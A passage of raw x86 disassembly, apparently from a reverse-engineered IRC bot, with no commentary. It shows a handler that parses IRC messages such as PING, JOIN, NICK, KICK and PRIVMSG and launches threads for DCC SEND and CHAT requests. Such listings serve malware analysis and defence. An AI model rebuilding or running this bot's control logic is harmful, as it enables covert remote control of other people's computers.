byte ptr -3CE4h var_3C64 = byte ptr -3C64h var_3BE4 = byte ptr -3BE4h var_3B64 = byte ptr -3B64h var_3AE4 = byte ptr -3AE4h var_3A64 = dword ptr -3A64h var_3A60 = dword ptr -3A60h var_3A5C = dword ptr -3A5Ch var_3A58 = dword ptr -3A58h var_3A54 = byte ptr -3A54h var_37CD = byte ptr -37CDh var_37CC = byte ptr -37CCh var_36C8 = dword ptr -36C8h var_36C0 = dword ptr -36C0h var_36BC = dword ptr -36BCh var_36B8 = dword ptr -36B8h var_36B4 = dword ptr -36B4h var_36AC = dword ptr -36ACh var_36A8 = dword ptr -36A8h var_36A4 = byte ptr -36A4h var_3624 = byte ptr -3624h var_35A4 = byte ptr -35A4h var_3524 = byte ptr -3524h var_34A4 = dword ptr -34A4h var_34A0 = dword ptr -34A0h var_349C = dword ptr -349Ch var_3498 = dword ptr -3498h var_3494 = dword ptr -3494h var_3490 = byte ptr -3490h var_3410 = byte ptr -3410h var_3390 = byte ptr -3390h var_3310 = byte ptr -3310h var_3290 = dword ptr -3290h var_328C = dword ptr -328Ch var_3288 = dword ptr -3288h var_3284 = dword ptr -3284h var_3280 = dword ptr -3280h var_327C = byte ptr -327Ch var_31FC = byte ptr -31FCh var_317C = byte ptr -317Ch var_30FC = byte ptr -30FCh var_307C = dword ptr -307Ch var_3078 = dword ptr -3078h var_3074 = dword ptr -3074h var_3070 = dword ptr -3070h var_306C = dword ptr -306Ch var_3068 = byte ptr -3068h var_2FE8 = byte ptr -2FE8h var_2F68 = byte ptr -2F68h var_2EE8 = byte ptr -2EE8h var_2E68 = dword ptr -2E68h var_2E64 = dword ptr -2E64h var_2E60 = dword ptr -2E60h var_2E5C = dword ptr -2E5Ch Filename = byte ptr -2E58h var_2D54 = dword ptr -2D54h var_2D50 = byte ptr -2D50h var_2C4C = byte ptr -2C4Ch var_2B48 = dword ptr -2B48h var_2B44 = dword ptr -2B44h var_2B40 = dword ptr -2B40h var_2B3C = byte ptr -2B3Ch var_2ABC = dword ptr -2ABCh var_2AB8 = dword ptr -2AB8h var_2AB4 = dword ptr -2AB4h var_2AB0 = dword ptr -2AB0h var_2AA8 = byte ptr -2AA8h var_2990 = byte ptr -2990h var_2910 = dword ptr -2910h var_290C = dword ptr -290Ch var_2908 = dword ptr -2908h var_2904 = dword ptr -2904h var_2900 = dword ptr -2900h var_28FC = dword ptr -28FCh var_28F8 = byte ptr -28F8h var_2878 = byte ptr -2878h var_2778 = byte ptr -2778h var_2678 = dword ptr -2678h var_2674 = dword ptr -2674h var_2670 = dword ptr -2670h var_266C = dword ptr -266Ch var_2668 = dword ptr -2668h var_2664 = dword ptr -2664h var_2660 = dword ptr -2660h var_265C = dword ptr -265Ch var_2658 = dword ptr -2658h var_2654 = dword ptr -2654h var_2650 = byte ptr -2650h var_25D0 = byte ptr -25D0h var_24D0 = byte ptr -24D0h var_23D0 = dword ptr -23D0h var_23CC = dword ptr -23CCh var_23C8 = dword ptr -23C8h var_23C4 = dword ptr -23C4h var_23C0 = dword ptr -23C0h var_23BC = dword ptr -23BCh var_23B8 = dword ptr -23B8h var_23B4 = dword ptr -23B4h var_23B0 = dword ptr -23B0h var_23AC = dword ptr -23ACh var_23A8 = byte ptr -23A8h var_2328 = byte ptr -2328h var_22A8 = byte ptr -22A8h var_2228 = dword ptr -2228h var_2224 = dword ptr -2224h var_2220 = dword ptr -2220h var_221C = dword ptr -221Ch var_2218 = dword ptr -2218h var_2214 = byte ptr -2214h var_2194 = byte ptr -2194h var_2114 = byte ptr -2114h var_2094 = dword ptr -2094h var_2090 = dword ptr -2090h var_208C = dword ptr -208Ch var_2088 = dword ptr -2088h var_2084 = dword ptr -2084h var_2080 = byte ptr -2080h var_2000 = byte ptr -2000h var_1F80 = byte ptr -1F80h var_1F00 = dword ptr -1F00h var_1EFC = dword ptr -1EFCh var_1EF8 = dword ptr -1EF8h var_1EF4 = dword ptr -1EF4h var_1EF0 = dword ptr -1EF0h var_1EEC = byte ptr -1EECh var_1DEC = byte ptr -1DECh var_1D6C = dword ptr -1D6Ch var_1D64 = dword ptr -1D64h var_1D60 = dword ptr -1D60h var_1D5C = dword ptr -1D5Ch var_1D58 = dword ptr -1D58h var_1D54 = dword ptr -1D54h var_1D50 = dword ptr -1D50h var_1D48 = byte ptr -1D48h var_1D34 = byte ptr -1D34h var_1C30 = byte ptr -1C30h var_1BAC = dword ptr -1BACh var_1BA8 = dword ptr -1BA8h var_1BA4 = dword ptr -1BA4h var_1BA0 = dword ptr -1BA0h var_1B9C = dword ptr -1B9Ch var_1B94 = byte ptr -1B94h var_1B80 = byte ptr -1B80h var_1A7C = byte ptr -1A7Ch var_19FC = dword ptr -19FCh var_19F8 = dword ptr -19F8h var_19F4 = dword ptr -19F4h var_19F0 = dword ptr -19F0h var_19EC = dword ptr -19ECh var_19E8 = dword ptr -19E8h var_19E4 = byte ptr -19E4h var_1964 = byte ptr -1964h var_1924 = byte ptr -1924h var_1824 = dword ptr -1824h var_1820 = dword ptr -1820h var_1814 = dword ptr -1814h var_1810 = dword ptr -1810h var_180C = dword ptr -180Ch var_1808 = byte ptr -1808h var_17D0 = byte ptr -17D0h var_17B4 = byte ptr -17B4h var_177C = byte ptr -177Ch var_1778 = byte ptr -1778h var_16F8 = byte ptr -16F8h var_16B8 = byte ptr -16B8h var_1628 = dword ptr -1628h var_1624 = dword ptr -1624h var_1620 = dword ptr -1620h var_161C = dword ptr -161Ch var_1618 = dword ptr -1618h var_1614 = byte ptr -1614h var_1594 = byte ptr -1594h var_1514 = dword ptr -1514h var_1510 = dword ptr -1510h var_150C = dword ptr -150Ch var_1508 = dword ptr -1508h var_1504 = byte ptr -1504h var_14F4 = byte ptr -14F4h var_1474 = byte ptr -1474h var_13F4 = dword ptr -13F4h var_13EC = dword ptr -13ECh var_13E8 = dword ptr -13E8h var_13E4 = dword ptr -13E4h var_13E0 = dword ptr -13E0h var_13DC = dword ptr -13DCh var_13D8 = dword ptr -13D8h var_13D4 = byte ptr -13D4h var_1354 = byte ptr -1354h var_12D4 = byte ptr -12D4h var_1254 = dword ptr -1254h var_1250 = dword ptr -1250h var_124C = dword ptr -124Ch var_1248 = dword ptr -1248h var_1244 = dword ptr -1244h var_1240 = dword ptr -1240h var_123C = dword ptr -123Ch var_1238 = dword ptr -1238h var_1230 = byte ptr -1230h var_11B0 = byte ptr -11B0h var_1130 = dword ptr -1130h var_112C = dword ptr -112Ch var_1128 = dword ptr -1128h var_1120 = dword ptr -1120h var_111C = dword ptr -111Ch var_1118 = dword ptr -1118h var_1110 = dword ptr -1110h var_110C = byte ptr -110Ch var_108C = byte ptr -108Ch var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_FFC = dword ptr -0FFCh var_FF8 = dword ptr -0FF8h var_FF4 = dword ptr -0FF4h var_FF0 = dword ptr -0FF0h var_FEC = dword ptr -0FECh var_FE8 = byte ptr -0FE8h var_F68 = dword ptr -0F68h var_F64 = dword ptr -0F64h var_F60 = dword ptr -0F60h var_F5C = dword ptr -0F5Ch var_F58 = dword ptr -0F58h var_F54 = byte ptr -0F54h var_ED4 = dword ptr -0ED4h var_ED0 = dword ptr -0ED0h var_ECC = dword ptr -0ECCh var_EC8 = dword ptr -0EC8h var_EC4 = dword ptr -0EC4h var_EC0 = byte ptr -0EC0h var_E40 = dword ptr -0E40h var_E3C = dword ptr -0E3Ch var_E38 = dword ptr -0E38h var_E34 = dword ptr -0E34h var_E30 = byte ptr -0E30h var_E10 = byte ptr -0E10h var_E00 = byte ptr -0E00h var_D80 = dword ptr -0D80h var_D7C = byte ptr -0D7Ch var_CFC = byte ptr -0CFCh var_C7C = dword ptr -0C7Ch var_C78 = dword ptr -0C78h var_C74 = dword ptr -0C74h var_C70 = dword ptr -0C70h var_C6C = dword ptr -0C6Ch var_C68 = dword ptr -0C68h var_C64 = dword ptr -0C64h var_C60 = dword ptr -0C60h var_C5C = dword ptr -0C5Ch var_C58 = dword ptr -0C58h var_C54 = byte ptr -0C54h var_BD4 = dword ptr -0BD4h var_BD0 = dword ptr -0BD0h var_BCC = dword ptr -0BCCh var_BC8 = dword ptr -0BC8h var_BC4 = byte ptr -0BC4h var_B44 = dword ptr -0B44h var_B40 = dword ptr -0B40h var_B3C = dword ptr -0B3Ch var_B38 = dword ptr -0B38h var_B34 = dword ptr -0B34h var_B30 = dword ptr -0B30h var_B2C = byte ptr -0B2Ch var_AAC = dword ptr -0AACh var_AA8 = dword ptr -0AA8h var_AA4 = dword ptr -0AA4h var_AA0 = dword ptr -0AA0h var_A9C = dword ptr -0A9Ch var_A98 = dword ptr -0A98h var_A94 = byte ptr -0A94h var_A14 = dword ptr -0A14h var_A10 = dword ptr -0A10h var_A0C = dword ptr -0A0Ch var_A08 = dword ptr -0A08h var_A04 = dword ptr -0A04h var_A00 = dword ptr -0A00h var_9FC = byte ptr -9FCh var_97C = word ptr -97Ch var_978 = dword ptr -978h var_970 = dword ptr -970h var_96C = dword ptr -96Ch var_968 = dword ptr -968h var_960 = byte ptr -960h var_8FF = byte ptr -8FFh var_8FE = byte ptr -8FEh var_8FC = byte ptr -8FCh var_8FB = byte ptr -8FBh var_8F2 = byte ptr -8F2h var_8F0 = byte ptr -8F0h var_8EE = byte ptr -8EEh var_8ED = byte ptr -8EDh var_860 = byte ptr -860h var_850 = byte ptr -850h var_7D0 = byte ptr -7D0h var_750 = dword ptr -750h var_74C = dword ptr -74Ch var_748 = dword ptr -748h var_744 = dword ptr -744h var_740 = dword ptr -740h var_734 = dword ptr -734h var_730 = dword ptr -730h var_728 = dword ptr -728h var_724 = dword ptr -724h var_720 = dword ptr -720h var_71C = dword ptr -71Ch var_714 = dword ptr -714h var_710 = byte ptr -710h var_690 = dword ptr -690h var_688 = dword ptr -688h var_684 = dword ptr -684h var_680 = dword ptr -680h var_678 = dword ptr -678h var_674 = dword ptr -674h var_670 = dword ptr -670h var_668 = dword ptr -668h var_63C = dword ptr -63Ch var_638 = word ptr -638h var_624 = dword ptr -624h var_620 = byte ptr -620h var_5A0 = byte ptr -5A0h var_590 = dword ptr -590h var_58C = dword ptr -58Ch var_584 = dword ptr -584h var_580 = dword ptr -580h var_57C = dword ptr -57Ch var_574 = dword ptr -574h var_570 = byte ptr -570h var_4F0 = dword ptr -4F0h var_4EC = dword ptr -4ECh var_4E8 = dword ptr -4E8h var_4E4 = dword ptr -4E4h var_4E0 = dword ptr -4E0h var_4D8 = dword ptr -4D8h var_4D4 = dword ptr -4D4h var_4D0 = dword ptr -4D0h Drive = byte ptr -4C8h var_4BC = byte ptr -4BCh var_484 = byte ptr -484h var_474 = byte ptr -474h var_3F4 = byte ptr -3F4h var_374 = dword ptr -374h var_370 = dword ptr -370h var_36C = dword ptr -36Ch var_368 = dword ptr -368h var_364 = dword ptr -364h var_358 = dword ptr -358h var_354 = dword ptr -354h var_34C = dword ptr -34Ch var_348 = dword ptr -348h var_344 = dword ptr -344h var_340 = dword ptr -340h Str1 = byte ptr -338h var_31C = word ptr -31Ch var_31A = word ptr -31Ah var_318 = dword ptr -318h var_30C = byte ptr -30Ch Count = dword ptr -308h var_2FC = byte ptr -2FCh var_2F8 = byte ptr -2F8h var_2F4 = dword ptr -2F4h var_2E8 = byte ptr -2E8h var_2E4 = byte ptr -2E4h var_2E3 = byte ptr -2E3h var_2E2 = byte ptr -2E2h var_2D8 = dword ptr -2D8h var_2D4 = dword ptr -2D4h var_2D0 = dword ptr -2D0h var_2CC = dword ptr -2CCh var_2C8 = dword ptr -2C8h var_2C4 = dword ptr -2C4h Dst = byte ptr -2C0h var_C0 = byte ptr -0C0h var_A8 = dword ptr -0A8h var_A4 = dword ptr -0A4h SubStr = byte ptr -0A0h var_94 = byte ptr -94h var_93 = byte ptr -93h var_92 = byte ptr -92h var_90 = dword ptr -90h Args = byte ptr -8Ch Format = dword ptr -88h Str2 = dword ptr -84h var_80 = dword ptr -80h var_7C = dword ptr -7Ch var_78 = dword ptr -78h var_50 = byte ptr -50h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h Source = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h File = dword ptr 2Ch arg_28 = dword ptr 30h push ebp mov ebp, esp mov eax, 5D88h call __alloca_probe push ebx push esi mov esi, 200h push edi xor ebx, ebx push esi ; Size lea eax, [ebp+Dst] push ebx ; Val push eax ; Dst mov [ebp+var_A4], 3 mov [ebp+var_10], ebx mov [ebp+var_A8], ebx mov [ebp+var_8], ebx mov [ebp+var_4], ebx mov [ebp+var_2C4], ebx call _memset push 1Bh ; Count lea eax, [ebp+Str1] push [ebp+Source] ; Source push eax ; Dest call _strncpy add esp, 18h cmp [ebp+Src], ebx jz loc_402166 push esi ; Size lea eax, [ebp+Str] push ebx ; Val push eax ; Dst call _memset dec esi lea eax, [ebp+Str] push esi ; Count push [ebp+Src] ; Source push eax ; Dest call _strncpy lea eax, [ebp+Str] push offset SubStr ; " :" push eax ; Str call _strstr mov [ebp+var_C], eax lea eax, [ebp+Str] push esi ; Count push eax ; Source lea eax, [ebp+var_4AF0] push eax ; Dest call _strncpy lea eax, [ebp+var_4AF0] push offset Delim ; " " push eax ; Str call _strtok add esp, 34h mov [ebp+var_90], eax lea esi, [ebp+Args] push 1Fh pop edi loc_401D92: ; CODE XREF: sub_401CC7+DEj push offset asc_440B90 ; " " push ebx ; Str call _strtok mov [esi], eax pop ecx add esi, 4 dec edi pop ecx jnz short loc_401D92 mov esi, [ebp+var_90] cmp esi, ebx jz loc_402166 cmp dword ptr [ebp+Args], ebx jz loc_402166 push 100h ; Size lea eax, [ebp+var_960] push ebx ; Val push eax ; Dst call _memset add esp, 0Ch lea ecx, [ebp+var_14] push 1Fh pop edx push 1 pop edi loc_401DDF: ; CODE XREF: sub_401CC7+14Aj mov eax, [ecx] cmp eax, ebx jz short loc_401E0B cmp byte ptr [eax], 2Dh jnz short loc_401E13 cmp [eax+2], bl jnz short loc_401E13 movsx esi, byte ptr [eax+1] mov [ecx], ebx mov [ebp+esi+var_960], 1 mov esi, [ebp+var_90] mov [eax], bl mov [eax+1], bl mov [eax+2], bl loc_401E0B: ; CODE XREF: sub_401CC7+11Cj dec edx sub ecx, 4 cmp edx, ebx jge short loc_401DDF loc_401E13: ; CODE XREF: sub_401CC7+121j ; sub_401CC7+126j cmp [ebp+var_8ED], bl jz short loc_401E1E mov [ebp+var_8], edi loc_401E1E: ; CODE XREF: sub_401CC7+152j cmp [ebp+var_8F2], bl jz short loc_401E2C mov [ebp+var_8], ebx mov [ebp+var_4], edi loc_401E2C: ; CODE XREF: sub_401CC7+15Dj cmp byte ptr [esi], 0Ah jz short loc_401E66 push 7Fh ; Count lea eax, [ebp+var_E00] push esi ; Source push eax ; Dest call _strncpy lea eax, [esi+1] push 17h ; Count push eax ; Source lea eax, [ebp+var_C0] push eax ; Dest call _strncpy lea eax, [ebp+var_C0] push offset asc_440B94 ; "!" push eax ; Str call _strtok add esp, 20h loc_401E66: ; CODE XREF: sub_401CC7+168j push esi ; Str2 push offset aPing ; "PING" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401EB7 push dword ptr [ebp+Args] ; Args mov byte ptr [esi+1], 4Fh push offset aPongS ; "PONG %s\r\n" push [ebp+arg_4] ; int call sub_409D26 mov eax, [ebp+arg_20] add esp, 0Ch cmp [eax], ebx jnz loc_401F5B push [ebp+arg_C] push [ebp+arg_8] ; Args push offset aJoinSS ; "JOIN %s %s\r\n" push [ebp+arg_4] ; int call sub_409D26 add esp, 10h jmp loc_401F5B ; --------------------------------------------------------------------------- loc_401EB7: ; CODE XREF: sub_401CC7+1AEj mov esi, dword ptr [ebp+Args] push esi ; Str2 push offset a001 ; "001" call _strcmp pop ecx test eax, eax pop ecx jz loc_409CDA push esi ; Str2 push offset a005 ; "005" call _strcmp pop ecx test eax, eax pop ecx jz loc_409CDA push esi ; Str2 push offset a302_0 ; "302" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401F1F push offset a@ ; "@" push [ebp+Str2] ; Str call _strstr pop ecx cmp eax, ebx pop ecx jz short loc_401F5B inc eax push 9Fh ; Count push eax ; Source push [ebp+arg_1C] ; Dest call _strncpy jmp short loc_401F58 ; --------------------------------------------------------------------------- loc_401F1F: ; CODE XREF: sub_401CC7+22Fj push esi ; Str2 push offset a433_0 ; "433" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401F62 push ebx ; Str1 push dword_44009C ; int push dword_440098 ; int push [ebp+Source] ; Dest call sub_40B487 add esp, 10h push [ebp+Source] ; Args push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] ; int call sub_409D26 loc_401F58: ; CODE XREF: sub_401CC7+256j add esp, 0Ch loc_401F5B: ; CODE XREF: sub_401CC7+1CFj ; sub_401CC7+1EBj ... mov eax, edi jmp loc_402169 ; --------------------------------------------------------------------------- loc_401F62: ; CODE XREF: sub_401CC7+267j mov esi, [ebp+arg_18] mov [ebp+var_2C8], 3 mov edi, 80h loc_401F74: ; CODE XREF: sub_401CC7+2D2j lea eax, [ebp+var_E00] push eax ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_401F91 mov [ebp+var_A8], 1 loc_401F91: ; CODE XREF: sub_401CC7+2BEj add esi, edi dec [ebp+var_2C8] jnz short loc_401F74 mov esi, dword ptr [ebp+Args] push esi ; Str2 push offset aKick ; "KICK" call _strcmp pop ecx test eax, eax pop ecx jnz loc_40208B mov esi, [ebp+arg_18] mov [ebp+File], 3 loc_401FC0: ; CODE XREF: sub_401CC7+389j cmp [esi], bl jz loc_40204B push 7Fh ; Count lea eax, [ebp+var_E00] push esi ; Source push eax ; Dest call _strncpy lea eax, [ebp+var_C0] add esp, 0Ch test eax, eax jz short loc_40204B cmp [ebp+Str2], ebx jz short loc_40204B push [ebp+Str2] ; Str2 lea eax, [ebp+var_C0] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40204B lea eax, [ebp+var_C0] mov [esi], bl push eax lea eax, [ebp+Dst] push offset asc_440C14 ; "-" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+Dst] push eax lea eax, [ebp+var_C0] push eax ; Args push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] ; int call sub_409D26 lea eax, [ebp+Dst] push eax call sub_415C77 add esp, 14h loc_40204B: ; CODE XREF: sub_401CC7+2FBj ; sub_401CC7+31Bj ... add esi, edi dec [ebp+File] jnz loc_401FC0 push [ebp+Str2] ; Str2 push [ebp+Source] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_402166 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] ; Args mov [eax], ebx push offset aJoinSS_0 ; "JOIN %s %s\r\n" loc_40207E: ; CODE XREF: sub_401CC7+5EEj ; sub_401CC7+8A4j ... push [ebp+arg_4] ; int call sub_409D26 jmp loc_404492 ; --------------------------------------------------------------------------- loc_40208B: ; CODE XREF: sub_401CC7+2E9j push esi ; Str2 push offset aNick ; "NICK" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4021CE mov eax, [ebp+Format] mov esi, [ebp+arg_18] inc eax mov [ebp+Src], 3 mov [ebp+File], eax loc_4020B4: ; CODE XREF: sub_401CC7+43Fj lea eax, [ebp+var_E00] push eax ; Str2 push esi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_402101 lea eax, [ebp+var_E00] push 21h ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx mov [ebp+arg_1C], eax jz short loc_402101 push [ebp+File] ; Source lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax ; Dest call _strcpy push [ebp+arg_1C] ; Source push edi ; Dest call _strcat add esp, 10h mov edi, 80h loc_402101: ; CODE XREF: sub_401CC7+3FEj ; sub_401CC7+415j add esi, edi dec [ebp+Src] jnz short loc_4020B4 lea eax, [ebp+var_C0] test eax, eax jz short loc_402166 cmp [ebp+File], ebx jz short loc_402166 push [ebp+Source] ; Str2 lea eax, [ebp+var_C0] push eax ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40213E push 0Fh ; Count push [ebp+File] ; Source push [ebp+Source] ; Dest call _strncpy jmp loc_4038B6 ; --------------------------------------------------------------------------- loc_40213E: ; CODE XREF: sub_401CC7+463j mov edi, [ebp+arg_18] xor esi, esi loc_402143: ; CODE XREF: sub_401CC7+49Dj cmp [edi], bl jz short loc_40215A lea eax, [ebp+var_E00] push eax ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_40216E loc_40215A: ; CODE XREF: sub_401CC7+47Ej inc esi add edi, 80h cmp esi, 3 jl short loc_402143 loc_402166: ; CODE XREF: sub_401CC7+5Bj ; sub_401CC7+E8j ... push 1 loc_402168: ; CODE XREF: sub_401CC7+2A56j pop eax loc_402169: ; CODE XREF: sub_401CC7+296j ; sub_401CC7+2A78j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40216E: ; CODE XREF: sub_401CC7+491j lea eax, [ebp+var_E00] push 21h ; Val push eax ; Str call _strchr pop ecx cmp eax, ebx pop ecx mov [ebp+Src], eax jz short loc_402166 push eax ; Str call _strlen push [ebp+File] ; Str mov edi, eax call _strlen add edi, eax pop ecx cmp edi, 7Eh pop ecx ja short loc_402166 push [ebp+Src] shl esi, 7 push [ebp+File] add esi, [ebp+arg_18] push offset aSS_1 ; ":%s%s" push esi ; Dest call _sprintf push ebx ; int lea eax, [ebp+var_45EC] push ebx ; int push eax ; int push [ebp+arg_8] ; Str push [ebp+arg_4] ; int call sub_409D6C add esp, 24h jmp short loc_402166 ; --------------------------------------------------------------------------- loc_4021CE: ; CODE XREF: sub_401CC7+3D3j push esi ; Str2 push offset aPart ; "PART" call _strcmp pop ecx test eax, eax pop ecx jz short loc_4021F0 push esi ; Str2 push offset aQuit ; "QUIT" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40221D loc_4021F0: ; CODE XREF: sub_401CC7+516j mov edi, [ebp+arg_18] xor esi, esi loc_4021F5: ; CODE XREF: sub_401CC7+54Ej cmp [edi], bl jz short loc_40220B push [ebp+var_90] ; Str2 push edi ; Str1 call _strcmp pop ecx test eax, eax pop ecx jz short loc_402259 loc_40220B: ; CODE XREF: sub_401CC7+530j inc esi add edi, 80h cmp esi, 3 jl short loc_4021F5 mov esi, dword ptr [ebp+Args] loc_40221D: ; CODE XREF: sub_401CC7+527j push esi ; Str2 push offset a353 ; "353" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4022BA push [ebp+var_80] ; Str2 push [ebp+arg_8] ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz short loc_40224C mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_40224C: ; CODE XREF: sub_401CC7+57Aj push [ebp+var_80] push offset unk_440CB4 jmp loc_409CCE ; --------------------------------------------------------------------------- loc_402259: ; CODE XREF: sub_401CC7+542j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C0] push eax lea eax, [ebp+Dst] push offset asc_440C74 ; "-" push eax ; Dest call _sprintf lea eax, [ebp+Dst] push eax call sub_415C77 push dword ptr [ebp+Args] ; Str2 push offset aPart_0 ; "PART" call _strcmp add esp, 18h test eax, eax jnz loc_402166 lea eax, [ebp+Dst] push eax mov eax, [ebp+var_90] inc eax push eax push offset aNoticeSS_0 ; "NOTICE %s :%s\r\n" jmp loc_40207E ; --------------------------------------------------------------------------- loc_4022BA: ; CODE XREF: sub_401CC7+565j push esi ; Str2 push offset aPrivmsg ; "PRIVMSG" call _strcmp pop ecx test eax, eax pop ecx jz short loc_4022FD push esi ; Str2 push offset aNotice ; "NOTICE" call _strcmp pop ecx test eax, eax pop ecx jz short loc_4022FD push esi ; Str2 push offset a332 ; "332" call _strcmp pop ecx test eax, eax pop ecx jnz loc_409B47 cmp dword_440088, ebx jz loc_409B47 loc_4022FD: ; CODE XREF: sub_401CC7+602j ; sub_401CC7+613j push esi ; Str2 push offset aPrivmsg_0 ; "PRIVMSG" call _strcmp pop ecx test eax, eax pop ecx jz loc_40248D push esi ; Str2 push offset aNotice_0 ; "NOTICE" call _strcmp pop ecx test eax, eax pop ecx jz loc_40248D mov eax, [ebp+Str2] inc [ebp+var_80] mov [ebp+var_A4], 4 mov [ebp+Format], eax loc_402340: ; CODE XREF: sub_401CC7+882j ; sub_401CC7+8B8j ... mov eax, [ebp+var_A4] mov esi, eax shl esi, 2 mov eax, [ebp+esi+var_90] lea edi, [ebp+esi+var_90] push eax ; Str2 push offset dword_440D4C ; Str1 mov [ebp+arg_8], eax call _strcmp pop ecx test eax, eax pop ecx jnz loc_40271D push dword ptr [ebp+esi+Args] ; Str2 push offset aSend ; "SEND" call _strcmp pop ecx test eax, eax pop ecx jnz loc_4025E4 cmp [ebp+var_A8], ebx jz loc_4025BD push [ebp+esi+Format] lea eax, [ebp+var_1B80] push offset aS ; "%s" push eax ; Dest call _sprintf add esp, 0Ch lea eax, [ebp+var_1B94] push [ebp+esi+Str2] push offset aS_0 ; "%s" push eax ; Dest call _sprintf push [ebp+esi+var_80] ; Str call _atoi mov [ebp+var_19FC], eax mov eax, [ebp+arg_4] mov [ebp+var_1B9C], eax lea eax, [ebp+var_C0] push 7Fh ; Count push eax ; Source lea eax, [ebp+var_1A7C] push eax ; Dest call _strncpy mov eax, [ebp+var_4] add esp, 1Ch mov [ebp+var_19F4], eax mov eax, [ebp+var_8] mov [ebp+var_19F0], eax lea eax, [ebp+var_1A7C] push eax lea eax, [ebp+var_1B80] push eax lea eax, [ebp+Dst] push offset asc_440D64 ; "-" push eax ; Dest call _sprintf push ebx ; int lea eax, [ebp+Dst] push 1Ah ; int push eax ; Source call sub_40B78E add esp, 1Ch mov [ebp+var_19F8], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1B9C] push ebx push eax push offset sub_416D5D push ebx push ebx call ds:dword_4F6384 ; CreateThread mov ecx, [ebp+var_19F8] imul ecx, 234h cmp eax, ebx mov dword_45713C[ecx], eax jz loc_4025AC loc_402477: ; CODE XREF: sub_401CC7+7C4j cmp [ebp+var_19EC], ebx jnz loc_408708 push 32h call ds:dword_4F6380 ; Sleep jmp short loc_402477 ; --------------------------------------------------------------------------- loc_40248D: ; CODE XREF: sub_401CC7+645j ; sub_401CC7+65Aj push esi ; Str2 push offset aNotice_1 ; "NOTICE" call _strcmp pop ecx test eax, eax pop ecx jnz short loc_4024A5 mov [ebp+var_4], 1 loc_4024A5: ; CODE XREF: sub_401CC7+7D5j mov edi, [ebp+Format] cmp edi, ebx jz loc_402166 push offset asc_440D00 ; "#" push edi ; Str call _strstr pop ecx test eax, eax pop ecx jz short loc_4024C9 cmp [ebp+var_4], ebx jz short loc_4024D5 loc_4024C9: ; CODE XREF: sub_401CC7+7FBj lea edi, [ebp+var_C0] mov [ebp+Format], edi loc_4024D5: ; CODE XREF: sub_401CC7+800j cmp [ebp+Str2], ebx jz loc_402166 inc [ebp+Str2] jz short loc_40251F cmp [ebp+Source], ebx jz short loc_40251F lea eax, [ebp+Str1] push eax ; Str call _strlen push eax ; MaxCount lea eax, [ebp+Str1] push [ebp+Str2] ; Str2 push eax ; Str1 call _strncmp add esp, 10h neg eax sbb eax, eax add eax, 4 mov [ebp+var_A4], eax jmp short loc_402525 ; --------------------------------------------------------------------------- loc_40251F: ; CODE XREF: sub_401CC7+820j ; sub_401CC7+825j mov eax, [ebp+var_A4] loc_402525: ; CODE XREF: sub_401CC7+856j shl eax, 2 mov [ebp+arg_8], eax mov esi, [ebp+eax+var_90] cmp esi, ebx jz loc_402166 push esi ; Str2 push offset dword_440D04 ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_402340 cmp byte ptr [edi], 23h jz short loc_402570 mov eax, dword_4E40B4 mov eax, off_440134[eax*4] cmp [eax], bl jz short loc_402570 push eax push edi push offset dword_440D10 jmp loc_40207E ; --------------------------------------------------------------------------- loc_402570: ; CODE XREF: sub_401CC7+88Bj ; sub_401CC7+89Bj push esi ; Str2 push offset dword_440D2C ; Str1 call _strcmp pop ecx test eax, eax pop ecx jnz loc_402340 mov eax, [ebp+arg_8] mov eax, dword ptr [ebp+eax+Args] cmp eax, ebx jz loc_402340 cmp byte ptr [edi], 23h jz loc_402340 push eax push edi push offset dword_440D34 jmp loc_40207E ; --------------------------------------------------------------------------- loc_4025AC: ; CODE XREF: sub_401CC7+7AAj call ds:dword_4F6394 ; RtlGetLastWin32Error push eax push offset unk_440D94 jmp loc_4086F9 ; --------------------------------------------------------------------------- loc_4025BD: ; CODE XREF: sub_401CC7+6CBj lea eax, [ebp+var_C0] push eax push [ebp+esi+Format] push offset asc_440DD0 ; "-" loc_4025D0: ; CODE XREF: sub_401CC7+7F22j ; sub_401CC7+7F89j lea eax, [ebp+Dst] push eax ; Dest call _sprintf add esp, 10h jmp loc_408708 ; --------------------------------------------------------------------------- loc_4025E4: ; CODE XREF: sub_401CC7+6BFj push dword ptr [ebp+esi+Args] ; Str2 push offset aChat ; "CHAT" call _strcmp pop ecx test eax, eax pop ecx jnz loc_402733 cmp [ebp+var_A8], ebx jz loc_40270C push 1Bh call sub_40B9D6 test eax, eax pop ecx jnz loc_4026FB push [ebp+esi+Str2] lea eax, [ebp+var_2AA8] push offset aS_1 ; "%s" push eax ; Dest call _sprintf push [ebp+esi+var_80] ; Str call _atoi mov [ebp+var_2910], 